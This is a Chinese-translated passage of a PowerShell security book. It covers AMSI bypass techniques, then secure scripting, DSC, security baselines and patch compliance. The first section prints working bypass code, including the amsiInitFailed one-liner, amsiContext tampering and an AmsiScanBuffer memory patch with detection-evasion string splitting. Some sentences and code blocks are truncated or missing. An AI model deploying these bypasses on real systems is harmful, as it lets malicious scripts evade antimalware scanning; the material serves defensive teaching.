图 12.8 – Invoke-Mimikatz 可以在没有 AMSI 干扰的情况下执行

但是,如果系统进行了适当的加固,降级攻击应该是不可行的。

配置篡改

其中一个非常流行的 AMSI 配置更改示例是 Matt Graeber 的绕过方法,他在 2016 年通过 Twitter 进行了分享:

图 12.9 – Matt Graeber 2016 年的 AMSI 绕过

图 12.9 – Matt Graeber 2016 年的 AMSI 绕过

Matt 通过仅使用一行代码成功禁用了 AMSI:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

这个绕过方法只是将 amsiInitFailed 布尔值设置为 $true。这模拟了 AMSI 初始化失败,因此无法执行扫描,并且将禁用未来的 AMSI 扫描。

与此同时,业界能够编写检测规则来阻止这一特定的绕过,但它仍然是一个很好的例子,展示了禁用和绕过 AMSI 的一种方法。请记住,如果没有这些检测措施,绕过本身仍然能够通过 AMSI。

输出显示了被 AMSI 阻止的单行代码:

图 12.10 – AMSI 阻止了单行代码

图 12.10 – AMSI 阻止了单行代码

当然,如果命令足够混淆,这个方法仍然可以奏效。这里使用的许多子字符串也被认为是恶意的,因此会被检测到。

很多签名被添加到某些触发词上,比如amsiInitFailed。其他研究人员也尝试找到一种绕过方法,灵感来自 Matt Graeber 的单行代码。其中一个绕过方法由 Adam Chester 在 2018 年发现:

$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);

由于前一个绕过方法通过将amsiInitFailed设置为$true已经被攻击者和防御者非常熟知,因此大多数尝试与此标志互动的行为都是高度可疑的,因此会被检测到。但如果我们能够强制触发错误,而不查询可疑的标志,它基本上会产生相同的效果。这正是 Adam 绕过方法在这里所做的。

他通过篡改amsiContextamsiSession强制触发错误。AMSI 初始化将失败,并且该会话中的未来扫描将无法进行。

你可以阅读 Adam 如何发现这个绕过方法以及其他有趣的方式,详见这篇博客文章:www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/

当然,在这段时间里,为了应对这一特定的绕过方法,新的签名已经被添加,因此没有混淆的情况下已经不再有效。

DLL 劫持

避免代码被 AMSI 扫描的另一种方法是DLL 劫持。在这种攻击中,amsi.dll基本上被替换为一个修改过的版本,这个版本不会干扰正在尝试执行的(恶意)代码。

值得注意的是,如果攻击者能够在系统上删除或替换 DLL 并执行任意代码,那么运行 PowerShell 可能是你最不需要担心的问题之一。

2016 年,Cornelis de Plaa 发现了一种使用 DLL 劫持的 AMSI 绕过方法。他在一个文件夹中创建了一个空的amsi.dll文件,并将powershell.exe复制到同一目录中。启动复制的 PowerShell 后,原始的amsi.dll文件没有被加载,而是加载了伪造的amsi.dll文件进入内存,当然,这个文件并没有检查执行的代码。

在 2016 年 3 月 28 日将此漏洞报告给微软 MSRC 后,他们实施了一个修复程序,这导致 PowerShell 在加载空的amsi.dll文件后无法正常工作。

图 12.11 – 加载空的 amsi.dll 文件后,PowerShell 管道中断

图 12.11 – 加载空的 amsi.dll 文件后,PowerShell 管道中断

2020 年 6 月,Philippe Vogler 找到了复活这个旧 AMSI 绕过的方法。他创建了一个amsi.dll文件,至少可以调用所有正常amsi.dll文件中包含的函数,但这些函数只是普通的虚拟函数,因此不会执行任何检查。通过这个文件,他成功地通过 DLL 劫持再次绕过了 AMSI。

你可以在他的博客上找到更多信息:sensepost.com/blog/2020/resurrecting-an-old-amsi-bypass/

同时,确保查看 Cornelis de Plaa 的博客,了解他是如何发现原始 AMSI DLL 劫持绕过的:cn33liz.blogspot.com/2016/05/bypassing-amsi-using-powershell-5-dll.html

内存补丁

内存补丁是一种红队人员常用的技术,用于在不改变可执行文件或文件戳的情况下修改程序内存。当涉及到使用内存补丁来绕过 AMSI 时,攻击者通常尝试修改内存调用,以使amsi.dll无法正确执行,从而跳过检查例程。

让我们首先从内存的角度看一下它的样子。为此,我们可以选择一个调试工具打开amsi.dll。在这个例子中,我将使用开源工具 Ghidra。

第一步,将amsi.dll导入 Ghidra,然后在项目中打开它。通常,amsi.dll位于C:\Windows\System32\amsi.dll

我们可以看到amsi.dll中所有可用的函数——这是为了我们的实验。AmsiScanBufferAmsiScanString函数特别值得关注。

图 12.12 – amsi.dll 中的函数

图 12.12 – amsi.dll 中的函数

Ghidra 提供了一个非常强大的反编译功能。所以,如果我们首先查看AmsiScanString函数,我们可以很快发现这个函数也调用了AmsiScanBuffer函数。因此,AmsiScanBuffer可能是最有吸引力的目标,因为看起来如果我们修改这个函数的内存,就可以同时覆盖两个用例:AmsiScanBufferAmsiScanString

图 12.13 – 反编译后的 AmsiScanString 函数

图 12.13 – 反编译后的 AmsiScanString 函数

所以,我们基本上需要做的就是首先找出当前加载的amsi.dll文件中AmsiScanBuffer函数的起始地址。

一旦我们知道了这个地址,我们可以尝试操作内存,使得它不会跳转到实际的AmsiScanBuffer函数,而是跳过它。当我们在内存/汇编级别进行操作时,有一个技巧可以帮助我们实现这一目标。RET指令表示子程序的结束并返回到最初调用它的代码。所以,如果我们用RET指令覆盖AmsiScanBuffer子程序的前几个字节,这个函数就会被终止而不扫描任何内容。

一旦我们完成这一步,我们就可以在当前会话中执行所有想要的 PowerShell 代码,而不会被检查。但是,类似地,如果攻击者能够编辑系统中进程的任意内存,你可能会面临更大的问题。

让我们看看如何在 PowerShell 中实现这一点。kernel32.dll文件提供了使用 PowerShell 访问内存的函数,特别是GetModuleHandleGetProcAddressVirtualProtect函数。因此,让我们将这些函数导入到当前的 PowerShell 会话中:

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public static class Kernel32
{
    [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
        public static extern IntPtr GetModuleHandle(
            [MarshalAs(UnmanagedType.LPStr)]string lpFileName);
    [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
        public static extern IntPtr GetProcAddress(
            IntPtr hModule,
            string procName);
    [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
        public static extern IntPtr VirtualProtect(
            IntPtr lpAddress,
            UIntPtr dwSize,
            uint flNewProtect,
            out uint lpflOldProtect);
}
"@

使用Kernel32中的GetModuleHandle函数,我们将获取加载到当前进程中的amsi.dll文件的句柄。句柄是模块的基址,因此通过这一步,我们将找出模块在内存中的起始位置:

$AmsiHandle = [Kernel32]::GetModuleHandle("amsi.dll")

许多 AV 产品将检测到试图篡改AmsiScanBuffer函数的脚本。因此,为了避免被检测到,我们需要将函数名拆分为两个命令:

$FuncName = "AmsiScan"
$FuncName += "Buffer"

一旦完成此操作,我们可以检索AmsiScanBuffer的进程地址,以便稍后尝试覆盖它:

$FuncPtr = [Kernel32]::GetProcAddress($AmsiHandle, $FuncName)

下一步,我们需要取消保护要覆盖的内存区域:

$OldProtection = 0
[Kernel32]::VirtualProtect($FuncPtr, [uint32]1, 0x40, [ref]$OldProtection)

最后,我们将AmsiScanBuffer函数的第一个字节覆盖为RET,这表示子例程的结束。在汇编中,0xC3等于RET

$Patch = [Byte[]] (0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $FuncPtr, 1)

现在应该可以运行任何你喜欢的命令,而不被 AMSI 检查。

'AMSI 测试样本:7e72c3ce-861b-4339-8740-0ac1484c1386'字符串也可用于 AMSI 测试。它类似于 EICAR 文件,您可以使用它来测试您的 AV 的功能,但用于 AMSI。如果启用了 AMSI,AMS

以下截图显示在使用 AMSI 测试样本时首先触发错误,但在执行 AMSI 绕过后,AMSI 测试样本可以正常运行:

图 12.14 – 使用内存修补绕过 AMSI

图 12.14 – 使用内存修补绕过 AMSI

由于此绕过方法仅用于本书中演示对手如何提出新的绕过方法的示例,此绕过方法已报告给 Microsoft,在发布本书之前,此绕过方法应该不再有效。

当然,并不是唯一的内存修补方法。现场还有各种其他例子。但这个例子应该能帮助你更好地理解这种绕过方法的工作原理。

在野外发现的 AMSI 绕过方法有一个非常棒的概述,由S3cur3Th1sSh1t创建:github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

大多数尝试篡改 AMSI 以暂时禁用或破坏其功能。但所有这些方法都已广为人知,如果没有进一步混淆,将会被检测到。

混淆

混淆是绕过反病毒检测的另一种方法。现在市面上有许多自动化的混淆工具——例如,Invoke-Obfuscation,这是由 Daniel Bohannon 编写的:github.com/danielbohannon/Invoke-Obfuscation

但是像这样的自动化工具非常知名,经过这种混淆的脚本很可能会被检测到。

还有一些工具,例如 AMSI fail,它生成混淆的 PowerShell 代码片段,用于临时禁用当前会话中的 AMSI:amsi.fail/

AMSI fail 生成的代码片段是从一个方法池中随机选择的,并且在运行时进行了混淆。这意味着生成的输出应该还没有被反恶意软件产品所识别,但实际上,许多这些生成的绕过方法已经被 AMSI 检测到,因为反恶意软件供应商不断改进他们的算法和签名。

同时,一旦某个有效载荷在某个攻击中被使用,通常不会太久它的签名就会被检测到。但它可能是你下次红队行动中避免 AMSI 的一种方法。

最终,根据你的成熟度,理解如何绕过签名并编写手动混淆方法可能是有意义的。以适当的方式解释如何做到这一点超出了本书的内容。不过,s3cur3th1ssh1t 有一篇很棒的博客文章,介绍了如何手动绕过 AMSI:s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/

Base64 编码

Base64 是一种将二进制数据编码为 ASCII 字符串的方法。因此,如果你记得我们之前在配置中讨论的 Matt Graeber 绕过方法,实际的绕过如今已经被 AMSI 阻止了。但如果在这个绕过中使用的字符串(AmsiUtilsamsiInitFailed)经过 Base64 编码,并在运行命令时解码,那么绕过仍然有效。

首先,让我们使用 Base64 对这两个字符串进行编码:

然后,我们用解码这些字符串的命令来替换它们并运行命令:

通常,编码和解码字符串可以避免绕过 AMSI 和其他检测。但反病毒程序仍然有可能检测到它。

总结

AMSI 是一个很棒的工具,帮助你保护你的环境。它已经能够防御大多数恶意代码,并且由于恶意软件供应商不断改进他们的解决方案,只要你保持反恶意软件软件的更新,它将帮助你抵御大多数已知(甚至可能是一些未知)的威胁。

但是与其他解决方案类似,这当然不是解决所有问题的方法,而且有方法可以绕过它。然而,由于反恶意软件供应商总是在寻找新的发现来改进他们的产品,绕过一旦被发现,检测通常会很快出现。

AMSI 是解决方案的一部分,但不是全部,要保持你的环境尽可能安全,你需要记住还有许多其他方式。在第十三章,“还有什么?——进一步的缓解措施和资源”中,我们将探讨你还能做些什么来确保你的环境安全。

进一步阅读

如果你想深入了解本章中提到的一些主题,可以查看以下资源:

第一部分: s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/

第二部分: s3cur3th1ssh1t.github.io/Bypass-AMSI-by-manual-modification-part-II/

绕过 AMSI 的工具:

github.com/rasta-mouse/AmsiScanBufferBypass

rastamouse.me/memory-patching-amsi-bypass/

你还可以在本章的 GitHub 仓库中找到所有提到的链接:第十二章 – 无需手动输入每个链接:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter12/Links.md

第十三章:还有什么?——更多的缓解措施和资源

在本书中,我们已经探讨了许多有助于在 PowerShell 环境中减少风险的主题和技术。但当然,你可以做更多事情来保障环境安全——许多直接与 PowerShell 相关,也有一些与 PowerShell 不直接相关但有助于提高 PowerShell 安全性。

在本章中,我们不会深入讨论每个缓解措施;相反,我将概述其他缓解措施,以便你可以自行探索每一个。我们将涵盖以下主题:

  • 安全脚本编写

  • 探索期望的状态配置

  • 强化系统和环境

  • 攻击检测 – 端点检测与响应

技术要求

为了充分利用本章内容,确保你具备以下条件:

安全脚本编写

如果你在环境中使用自编写的脚本,安全脚本编写是不可或缺的。如果你的脚本可以被篡改,那么无论你实施了什么其他安全机制(大多数情况下)都没有意义。

请注意,你的脚本可能会被黑客攻击,恶意代码可能会被注入。在这种情况下,你必须执行以下操作:

)

此外,还有两个非常实用的 PowerShell 模块,当你开发自己的 PowerShell 脚本时应该了解它们——PSScriptAnalyzerInjectionHunter

PSScriptAnalyzer

PSScriptAnalyzer是一个静态检查 PowerShell 脚本和模块代码的工具。它会根据预定义的规则进行检查,并返回所有问题以及如何改进潜在代码缺陷的建议。

使用PSScriptAnalyzer验证代码有助于保持较高的代码质量,避免常见问题。它不一定是用来检查代码安全性的工具(尽管它提供了一些安全检查,如避免使用 Invoke-Expression),但它是一个检查你是否应用了 PowerShell 最佳实践的工具。

可以通过 PowerShell Gallery 使用Install-Module PSScriptAnalyzer进行安装。

安装后,它提供了Get-ScriptAnalyzerRuleInvoke-FormatterInvoke-ScriptAnalyzer cmdlet。

对于我们的使用案例,我们将只关注Invoke-ScriptAnalyzer,但请确保你自己查看整个模块,以提升你的 PowerShell 脚本和模块。

使用Invoke-ScriptAnalyzer,然后使用-Path和脚本路径,来检查你的代码,如下截图所示:

图 13.1 – 调用 ScriptAnalyzer

图 13.1 – 调用 ScriptAnalyzer

当没有指定其他内容时,PSScriptAnalyzer会根据其自身的规则集进行检查。但你也可以通过使用-CustomRulePath-RecurseCustomRulePath参数来指定你自己的自定义规则。

如果你在 Visual Studio Code 中使用PowerShell扩展来编写 PowerShell 脚本,PSScriptAnalyzer会默认启用。在这种情况下,你的代码会被自动检查,并且在编写代码时会提供任何潜在问题的警告。

InjectionHunter

InjectionHunter是由 Lee Holmes 编写的一个模块,它帮助你检测如何将代码注入到你自己的 PowerShell 脚本中。可以从PowerShell** **Gallery下载:www.powershellgallery.com/packages/InjectionHunter/1.0.0

使用Install-Module InjectionHunter命令安装它。

InjectionHunter依赖于ScriptAnalyzer.Generic.DiagnosticRecord作为其输出类型,并使用自定义的检测规则,因此也需要安装PSScriptAnalyzer

InjectionHunter包含八个不同的函数,所有这些函数都可以帮助你找出代码是否容易受到各种攻击的影响。这些函数包括Measure-AddTypeMeasure-CommandInjectionMeasure-DangerousMethodMeasure-ForeachObjectInjectionMeasure-InvokeExpressionMeasure-MethodInjectionMeasure-PropertyInjectionMeasure-UnsafeEscaping

InjectionHunter的函数用于创建一个新的PSScriptAnalyzer插件,能够检测 PowerShell 脚本中潜在的注入攻击。这些函数设计为接受-ScriptBlockAst参数,它代表脚本的抽象语法树AST)。AST 将标记分组为结构,是解析和分析 PowerShell 数据的有意方式。

以下示例演示了如何使用PSScriptAnalyzer调用InjectionHunter规则:

> Invoke-ScriptAnalyzer -Path C:\Users\Administrator\Downloads\PowerShell-Automation-and-Scripting-for-Cybersecurity-master\Chapter12\Examples_whyAMSI.ps1 -CustomRulePath ( Get-Module InjectionHunter -List | % Path )

以下截图展示了从PSScriptAnalyzer调用InjectionHunter规则的界面:

图 13.2 – 从 PSScriptAnalyzer 调用 InjectionHunter 规则

图 13.2 – 从 PSScriptAnalyzer 调用 InjectionHunter 规则

InjectionHunter并不是用于直接分析脚本的。然而,你可以利用它的功能开发一个自定义的PSScriptAnalyzer插件,用于检测你 PowerShell 脚本中的注入攻击。

但是,如果你在编写脚本时能立即知道是否存在潜在的注入风险,那该多酷?Lee Holmes 和 PowerShell 团队为你提供了解决方案。以下博客文章解释了如何在使用 Visual Studio Code 编辑脚本时实现这一点:devblogs.microsoft.com/powershell/powershell-injection-hunter-security-auditing-for-powershell-scripts/

探索所需状态配置

PowerShell 所需状态配置DSC)是一个功能,允许你使用 PowerShell 配置作为代码来管理服务器。

截至目前,以下版本的 DSC 可用于部署:DSC 1.1DSC 2.0DSC 3.0

虽然 DSC 1.1 包含在 Windows PowerShell 5.1 中,但在 DSC 2.0 中,必须在 PowerShell 7.2 及以上版本上运行 DSC,PSDesiredStateConfiguration不再包含在 PowerShell 包中。这使得 DSC 的创建者能够独立于 PowerShell 开发 DSC,并允许用户升级 DSC 而无需同时升级 PowerShell。

DSC 1.1

DSC 1.1 包含在 Windows 中,并通过 Windows 管理框架进行更新。它运行在 Windows PowerShell 5.1 中。如果没有使用 Azure Automanage Machine Configuration,这是推荐的版本。

修复

DSC 1.1 有两种配置模式:

  • 推送:配置手动推送

  • 拉取:节点被配置为从拉取服务器频繁拉取其配置

DSC 在拉取模式中的一个巨大进步是,一旦指定了配置,配置会自我修复。这意味着你可以使用代码配置节点并设置配置。一旦激活,你可以配置你的配置,使其频繁地从节点中拉取。这意味着,如果有人更改了配置了 DSC 的服务器或终端的本地配置,下一次拉取时配置会被恢复。

拉取模式是一种更复杂的配置方式,但最终它比推送模式更易于维护,并且有助于提升设备安全性。在使用此模式时,系统会自动进行修复。

如果你有兴趣使用 DSC 进行集中管理,需要注意的是,签名配置使得 DSC 成为一种更加安全的远程策略管理方式。签名配置确保只有授权的更改才能应用到系统中。没有有效签名的配置无法被应用。

这在保护免受攻击特别有价值,尤其是那些危及中央管理通道的攻击,比如 GPO。通过 DSC 中的签名配置和对签名基础设施的严格控制,攻击者无法利用被攻破的通道进行大规模的勒索软件传播。

你可以通过访问以下文档页面了解更多关于 DSC 模块和配置签名的信息:learn.microsoft.com/en-us/powershell/scripting/windows-powershell/wmf/whats-new/dsc-improvements?#dsc-module-and-configuration-signing-validations

DSC 内容非常广泛,但有很多文档,包括快速入门和教程,可以帮助你开始使用:learn.microsoft.com/en-us/powershell/dsc/overview?view=dsc-1.1

DSC 2.0

DSC 2.0 支持 PowerShell 7.2 及以上版本。虽然原始的 DSC 平台是建立在 WMI 之上,但较新版本已经脱离了这个模型。

可以通过运行以下命令使用 PSGallery 进行部署:

Install-Module -Name PSDesiredStateConfiguration -Repository PSGallery -MaximumVersion 2.99

只有在使用 Azure Automanage 机器配置时,才能使用 DSC 2.0 版本。尽管Invoke-DscResource cmdlet 在此版本中仍然可用,但你应该仅用于测试目的,而应依赖于 Azure Automanage 机器配置。

修复

由于 Azure Automanage 机器配置的帮助,你不需要像 DSC 1.1 那样设置拉取服务器,因为 Azure Automanage 机器配置会为你处理这个责任。

有三种不同的机器配置分配类型可供选择:

  • Audit: 仅报告;不做任何更改。

  • ApplyAndMonitor: 一次性应用配置,但如果配置发生更改,则仅报告,不进行修复,直到手动触发。

  • ApplyAndAutoCorrect: 永久应用配置。一旦做出更改,机器将在下次评估时进行修复。

ApplyAndAutoCorrect是一个很好的选项,类似于 DSC 1.1 中的拉取配置模式;它帮助你的系统变得更安全,因为它们可以自我修复更改。

请查看以下链接了解更多关于 DSC 2.0 的信息:learn.microsoft.com/en-us/powershell/dsc/overview?view=dsc-2.0

DSC 3.0

DSC 3.0 是一个预览版本,截至 2023 年 4 月仍在开发中。

该版本支持跨平台特性,并且由 Azure Automanage 机器配置在 Azure 策略中支持。可以通过使用以下命令从 PSGallery 安装:

Install-Module -Name PSDesiredStateConfiguration -AllowPrerelease

对于 DSC 3.0,修复选项与 DSC 2.0 相同。

通过阅读官方文档,你可以了解更多关于 DSC 3.0 的信息:learn.microsoft.com/en-us/powershell/dsc/overview?view=dsc-3.0

配置

要开始使用 DSC,你需要一个 DSC 配置,并将其编译成 .mof 文件。通常,你会想要覆盖一个已经预定义为资源的场景,并根据你的用例对其进行调整;在这种情况下,你还希望在配置中包含一个预定义的资源。

DSC 资源

在创建自己的 DSC 资源之前,始终检查是否已经有适合你用例的资源;在 GitHub 或 PowerShell Gallery 上有大量现成的资源可供使用。一旦找到适合你用例的 DSC 资源,你可以使用 PowerShellGet 安装它:

> Install-Module -****Name AuditPolicyDSC

在这个示例中,AuditPolicyDSC 资源将被安装,它帮助你在 Windows 机器上配置和管理高级审核策略。

以下示例展示了一个配置,它导入 AuditPolicyDsc 资源,并使用它确保所有成功的登录事件都在将应用此配置的主机上进行审核,通过相应的高级审核策略设置:

Configuration AuditLogon
{
    Import-DscResource -ModuleName AuditPolicyDsc
    Node 'localhost'
    {
        AuditPolicySubcategory LogonSuccess
        {
            Name      = 'Logon'
            AuditFlag = 'Success'
            Ensure    = 'Present'
        }
    }
}
AuditLogon

我们必须将此代码保存为名为 AuditLogon.ps1 的文件,并将其存放在 C:\temp\ 目录下以便 dot 来源:

> . C:\temp\AuditLogon.ps1

以下截图展示了该文件如何被编译成 .****mof 文件:

图 13.3 – 将你的 DSC 配置编译成 .mof 文件

图 13.3 – 将你的 DSC 配置编译成 .mof 文件

根据你所运行的设置和 DSC 版本,现在可以使用此文件将 DSC 配置应用到你选择的系统上。更多信息请参考官方文档:

)

)

)

加强系统和环境的安全

最终,你可以根据需要加强 PowerShell 的安全性;但如果运行 PowerShell 的系统没有得到保护,攻击者一旦有机会,必定会加以利用。因此,检查如何加强你的基础设施安全同样非常重要。

安全基线

加强 Windows 系统安全的一个良好开端——无论是服务器、域控制器还是客户端——就是微软提供的所谓安全基线。这些安全基线是微软 安全合规工具包(SCT) 1.0 的一部分,可以从这里下载:https://www.microsoft.com/en-us/download/details.aspx?id=55319。

在应用安全基线时请务必小心!

你绝不应该仅仅将安全基线应用于正在运行的生产系统。在应用之前,仔细审计你的设置并进行评估。然后,制定一个计划来实施你的更改。许多设置可能会导致系统功能中断,如果没有精心规划和实施,可能会出现问题。

当你下载 SCT 时,你会看到其中有许多可以下载的文件。大多数文件实际上是基线文件(大多数基线包以Security Baseline.zip结尾)。

但也包括一些有用的工具,包括LGPOSetObjectSecurityPolicy Analyzer

  • LGPO:这个工具可以用来执行本地组策略对象(GPO)操作。你可以使用这个工具将设置导入本地组策略,导出本地组策略,解析registry.pol文件(LGPO 文本格式),从LGPO 文本构建registry.pol文件,并启用组策略客户端扩展进行本地策略处理。由于它是一个命令行工具,LGPO 可以用来自动化本地 GPO 操作。

  • SetObjectSecurity:使用SetObjectSecurity,你可以为任何类型的 Windows 可安全对象设置安全描述符——无论是文件、注册表项、事件日志等等。

  • Policy Analyzer:Policy Analyzer 是一个用于比较基线和 GPO 的工具,但不仅限于导出的 GPO——你也可以将 GPO 与本地策略进行比较。它可以突出显示策略之间的差异,并帮助你发现冗余。

这三个工具都是独立的,这意味着你无需安装它们即可使用。

你可以使用PolicyAnalyzer检查机器的当前状态。下载PolicyAnalyzer和你想要使用的安全基线,用于检查你的系统。在我们的示例中,我使用了Windows Server 2022 安全基线作为示例基线。

我们在第四章检测—审计和监控部分讨论了SCT,当时我们提到了审计建议和 EventList。在那里,我们了解到安全基线包含审计建议。但它们还包含一些系统设置建议,如 Lan Manager 认证级别(LmCompatibilityLevel),你可以用它来拒绝域中的不安全认证机制。请务必小心,在应用此设置为推荐的设置之前,审计使用的认证协议。

在你开始使用基线之前,你需要先提取它们。以下代码片段展示了如何使用 PowerShell 提取基线:

$baselineZipPath = $env:TEMP + "\baselines\Windows 11 version 22H2 Security Baseline.zip"
$baselineDirPath = $env:TEMP + "\baselines\"
if ( !( Test-Path -Path $baselineDirPath ) ) {
    New-Item -ItemType Directory -Path $baselineDirPath
}
Expand-Archive -Path $baselineZipPath -DestinationPath $baselineDirPath

$baselineZipPath 变量指向基准 ZIP 文件所在的路径,而 $baselineDirPath 变量指向应提取基准文件的文件夹。如果 $baselineDirPath 文件夹尚不存在,将会创建该文件夹。可以使用 Expand-Archive cmdlet 解压归档文件。

解压安全基准后,你会在 ZIP 文件中找到以下五个文件夹,如下图所示:

图 13.4 – 安全基准的内容

图 13.4 – 安全基准的内容

实际的基准文件位于 GPOs 文件夹中。你可以使用其中的文件在测试系统上导入基准进行测试,或者将它们添加到策略分析器中。

初次执行策略分析器时,你将看到其启动界面,如下所示:

图 13.5 – 策略分析器

图 13.5 – 策略分析器

要开始使用,点击 添加... 来添加一个新的基准进行比较。导航到所选基准的 GPOs 文件夹并选择它。由于包含了许多你不需要添加的基准文件,因此你需要通过在 策略文件导入器 视图中选择它们,然后使用键盘上的 删除 键将它们删除。

在这个例子中,我想调查一个域控制器,所以我删除了除域控制器相关基准之外的所有其他基准,如下图所示:

图 13.6 – 导入域控制器安全基准

图 13.6 – 导入域控制器安全基准

一旦所有必要的基准文件都在 策略文件导入器 视图中,点击 导入... 以导入它们。在导入之前,你将被提示输入名称并保存策略。在本示例中,我将策略命名为 2022_DC

一旦基准被导入,你可以选择添加另一个基准或导出的 GPO 来比较它们的设置(使用 查看 / 比较)。或者,你也可以将基准与当前系统的有效状态进行比较(使用 与有效状态比较):

图 13.7 – 在策略分析器中导入的 2022_DC 策略

图 13.7 – 在策略分析器中导入的 2022_DC 策略

在我们的示例中,我选择了 2022_DC 策略,并将 DC01 演示环境的域控制器与有效状态进行了比较。此时将弹出一个新窗口,你可以在其中查看所有推荐和有效的设置:如果某个设置保持白色,表示它匹配;如果某个设置标记为灰色,表示它未配置或为空;最后,如果某个设置标记为黄色,则表示存在冲突,设置不匹配:

图 13.8 – 与策略分析器比较设置

图 13.8 – 与策略分析器比较设置

通过这样做,你可以检查推荐的配置是否反映了当前的配置状态,以及如果不匹配,你需要配置什么。再强调一次——请不要在没有评估这些变化对你的环境意味着什么的情况下直接应用这些推荐。

不仅有用于域控制器的安全基准,还有用于成员服务器、客户端的基准,以及其他领域设置的基准。

也可以使用 PowerShell 与这些基准进行交互。每个基准都是一个导出的 GPO,你可以解析它。gpreport.xml文件包含了在此 GPO 中配置的每个设置。因此,如果我们将安全基准的gpreport.xml文件作为 PowerShell 对象导入,我们可以在引用 XML 语法时查询所有可用的设置。

以下的Import-Baseline函数可以帮助你完成这个任务:

function Import-Baseline {
    [cmdletbinding()]
    param (
        [Parameter(Mandatory)]
        [string]$Path
    )
    $Item  = Join-Path -Path (Get-ChildItem -Path $Path -Filter "gpreport.xml" -Recurse | Select-Object -First 1).DirectoryName -ChildPath "\gpreport.xml"
    if (Test-Path -Path $Item) {
        [xml]$Settings = Get-Content $Item
    }
    return $Settings.GPO
}

它会在指定的文件夹中递归查找第一个gpreport.xml文件,并将其设置返回为 XML 对象。

例如,如果你想访问Windows 10 22H2 – Computer基准的推荐审核设置,我们首先将其导入到$Baseline变量中,如下代码片段所示:

> $Baseline = Import-Baseline -Path "C:\baselines\Windows-10-v22H2-Security-Baseline\GPOs\{AA94F467-FC14-4789-A1C4-7F74B23184B2}"

现在,所有的 XML 节点都可以通过$Baseline变量进行查询。首先,让我们检查基准的名称,确保我们导入了正确的基准:

> $Baseline.Name
MSFT Windows 10 22H2 - Computer

接下来,我们要访问审核设置,它们位于Computer.ExtensionData.Extension.AuditSetting节点下:

> $Baseline.Computer.ExtensionData.Extension.AuditSetting

如下图所示,你可以看到每个推荐的审核设置及其值——即命令的输出:

图 13.9 – 查询基准的审核设置 XML 节点

图 13.9 – 查询基准的审核设置 XML 节点

在这里,你可以看到SettingValue,它表示是否建议审核成功1)、失败2),或是同时审核成功和失败3)。0表示明确不推荐审核该设置(即审核设置已禁用)——这是你在微软发布的安全基准中永远找不到的值。

通过此操作,你现在可以查询在这个 GPO 中配置的所有导入的 XML 节点。

另一个可以帮助你监控安全设置以确保合规性的好工具是DSCBaselineManagement模块。借助它,你可以将基准以及组策略转换为 DSC 配置脚本(.ps1)和.mof文件,并可以用这些文件来监控系统的合规性。

你可以在 GPO DSC 快速入门文档中找到更多关于如何设置的信息:learn.microsoft.com/en-us/powershell/dsc/quickstarts/gpo-quickstart

应用安全更新和补丁合规性监控

在我担任微软首席现场工程师期间,我为世界各地的公司和组织进行了大量的安全评估。那些安全评估中,最关键也最常见的问题之一就是缺少更新。信不信由你,在我评估的所有组织中,只有大约 2% 的评估中,发现所有更新都已安装。在所有其他评估中,至少缺少一个关键更新。

除了其他攻击方式,如社交工程学和滥用合法管理员权限,缺少更新是系统被攻破的常见原因:如果发布了安全更新,这意味着一个漏洞已被修复,并且关于该漏洞的知识是公开的。对手甚至可以逆向工程已发布的补丁,以了解具体修复了什么。

这意味着,一旦发布了更新,时间就是对抗的关键,对手很快就能准备好利用漏洞。如果系统缺少补丁,它很快就会变得脆弱。

因此,尽早应用安全更新。制定一个计划,在发布后尽快测试并安装更新,并正确优先处理。

仅仅安装更新是不够的——你还需要定期验证是否已安装所有所需的更新。

检查更新

许多组织使用 WSUS 和/或 SCCM 来部署和监控安全更新。尽管这是一种很好的部署方法,但仅凭此方法不足以检查所有必要的更新是否已安装。因此,如果你至今仅依赖于 WSUS 或 SSCM,你需要设置另一种机制来检查是否所有相关更新都已安装。

许多组织通常只部署 Windows 安全更新,忽略了其他产品。但全球各地的服务器上安装了许多带有 Microsoft Visual C++ 或其他程序的工具。一旦安装,这些工具就不会再进行更新,尽管存在严重漏洞,这使得基础设施暴露于对手的攻击。

对于早期的 Windows 版本,检查是否安装了所有相关更新可以通过使用Microsoft 基线安全分析工具MBSA)和WSUS 离线目录(即wsusscn2.cab)来实现。但由于 MBSA 已被弃用且不再开发,现在有新的方式可以扫描补丁合规性。

一种选择是使用 PowerShell 的Scan-UpdatesOffline.ps1脚本,该脚本可在 PowerShell Gallery 中找到:www.powershellgallery.com/packages/Scan-UpdatesOffline/1.0

你可以使用Install-Script安装该脚本:

> Install-Script -Name Scan-UpdatesOffline

在运行脚本之前,从go.microsoft.com/fwlink/?linkid=74689下载最新的wsusscn2.cab文件,并将其保存至C:\temp\wsusscn2.cab

> Invoke-WebRequest http://go.microsoft.com/fwlink/?linkid=74689 -OutFile c:\temp\wsusscn2.cab

需要注意的是,特定路径已硬编码到Scan-UpdatesOffline脚本中,因此在运行该脚本之前,确保wsusscn2.cab文件位于正确位置。

一旦一切就绪,您可以开始使用Scan-UpdatesOffline.ps1进行扫描,如下图所示:

图 13.10 – 扫描缺失的更新

图 13.10 – 扫描缺失的更新

现在,您可以使用此脚本进行定期检查,确保您的服务器和客户端安装了最新的更新。在扫描之前,请确保始终下载最新的wsusscn2.cab文件。

由于此方法仅适用于检查 Windows 和 Microsoft 产品更新,因此请确保同时维护组织内所有可用软件的清单,并监控补丁合规性。

避免横向移动

横向移动是攻击者用来深入网络、破坏终端、服务器和身份的技术。

